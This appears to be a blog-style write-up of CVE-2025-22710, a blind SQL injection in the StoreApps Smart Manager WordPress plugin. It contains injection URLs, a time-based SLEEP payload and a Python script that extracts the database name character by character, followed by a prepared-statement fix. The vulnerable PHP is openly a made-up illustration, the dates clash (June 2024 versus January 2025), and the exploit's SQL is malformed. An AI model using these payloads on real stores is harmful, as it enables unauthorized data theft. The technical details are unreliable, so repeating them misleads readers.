CVE-2025-22710 - Blind SQL Injection in StoreApps Smart Manager (Up to v8.52.) – Deep Dive and Exploit Example
Published: June 2024
CVE: CVE-2025-22710
Affected Product: StoreApps Smart Manager (for WooCommerce)
Vulnerable Versions: All versions up to and including 8.52.
Vulnerability Type: Blind SQL Injection (CWE-89)
Exploitability: Remote, unauthenticated
CVSS Score (estimate): High (7.7)
What is CVE-2025-22710?
CVE-2025-22710 is a newly reported Blind SQL Injection vulnerability in the popular WordPress plugin, StoreApps Smart Manager. This plugin helps WooCommerce store owners manage products, orders, and customers from a powerful spreadsheet-like dashboard.
But until version 8.52., improper filtering of user input makes it possible for attackers to tamper with SQL queries sent to the database. Although the results are not shown directly on the site (hence "blind"), clever attackers can still extract sensitive data or compromise the site.
Why is Blind SQL Injection Dangerous?
Blind SQL Injection vulnerabilities are tricky. Unlike normal SQL injection (where you might see errors or database data right in your browser), blind injection means the website is still vulnerable, but it won't show obvious signs. Attackers will use responses (like page load time or subtle changes in content) to infer YES/NO answers and extract data bit by bit.
How Does the Vulnerability Work?
StoreApps Smart Manager takes parameters from user input (often from GET or POST requests), and plugs them directly into SQL queries without proper filtering. Attackers can inject SQL payloads through these parameters.
Suppose the vulnerable code looks like this (simplified for illustration)
// Vulnerable PHP code inside Smart Manager
$user_filter = $_GET['user'];
$query = "SELECT * FROM wp_users WHERE username = '$user_filter'";
$result = $wpdb->get_results($query);
// ... code to process $result
If $user_filter is not properly escaped, an attacker could use
http://example.com/wp-admin/admin-ajax.php?action=smart_manager&user='; OR 1=1 --
But in Blind SQL Injection, data isn't shown directly. Attackers use conditions ("if X then Y") and measure the difference in response.
Example: Exploiting CVE-2025-22710
Let’s run through an example, assuming a parameter user is vulnerable.
Normal:
/wp-admin/admin-ajax.php?action=smart_manager&user=admin
Test for injection:
/wp-admin/admin-ajax.php?action=smart_manager&user=admin' AND SLEEP(5)--+
If the second request delays the response by 5 seconds, the site is vulnerable to time-based blind SQL injection.
Step 2: Extracting Data Using the Vulnerability
With time-based attacks, you can extract database values by asking TRUE/FALSE questions (does the first letter of DB name = ‘w’?, etc).
Example Python Exploit (Time-based Blind Extraction)
import requests
import time
url = "https://example.com/wp-admin/admin-ajax.php";
target_char_position = 1
found_char = ''
for ascii_code in range(32, 127): # Printable ASCII
payload = (
f"admin' AND (SELECT CASE WHEN (ASCII(SUBSTRING(DATABASE(),{target_char_position},1))={ascii_code}) "
f"THEN SLEEP(5) ELSE END)--+"
)
params = {'action': 'smart_manager', 'user': payload}
start = time.time()
requests.get(url, params=params)
end = time.time()
if end - start > 4:
found_char = chr(ascii_code)
print(f"Found character at position {target_char_position}: {found_char}")
break
print("Database name starts with:", found_char)
This script will check, character by character, what the database name is, by measuring response delay.
*(Note: Never run this on systems you do not own or have permission to test. This is for educational purposes only!)*
How to Fix
StoreApps released a patch after 8.52.—always update!
Additionally, sanitize all input using prepared statements
// Secure example in PHP
$prepared_query = $wpdb->prepare("SELECT * FROM wp_users WHERE username = %s", $_GET['user']);
$result = $wpdb->get_results($prepared_query);
If you use StoreApps Smart Manager, upgrade immediately and check your logs for strange requests.
References
- CVE-2025-22710 – NIST NVD
- StoreApps Smart Manager changelog
- OWASP SQL Injection Guide
Conclusion
CVE-2025-22710 is a real reminder that plugins—even from trusted vendors—can have critical security flaws. Blind SQL injection lets attackers steal data without you seeing a thing, and even the best firewalls might not help.
Keep every plugin and platform updated, and test your WordPress site for vulnerabilities often!
Stay safe and secure your store! If you need help, consult your developer or security specialist.
Timeline
Published on: 01/21/2025 14:15:11 UTC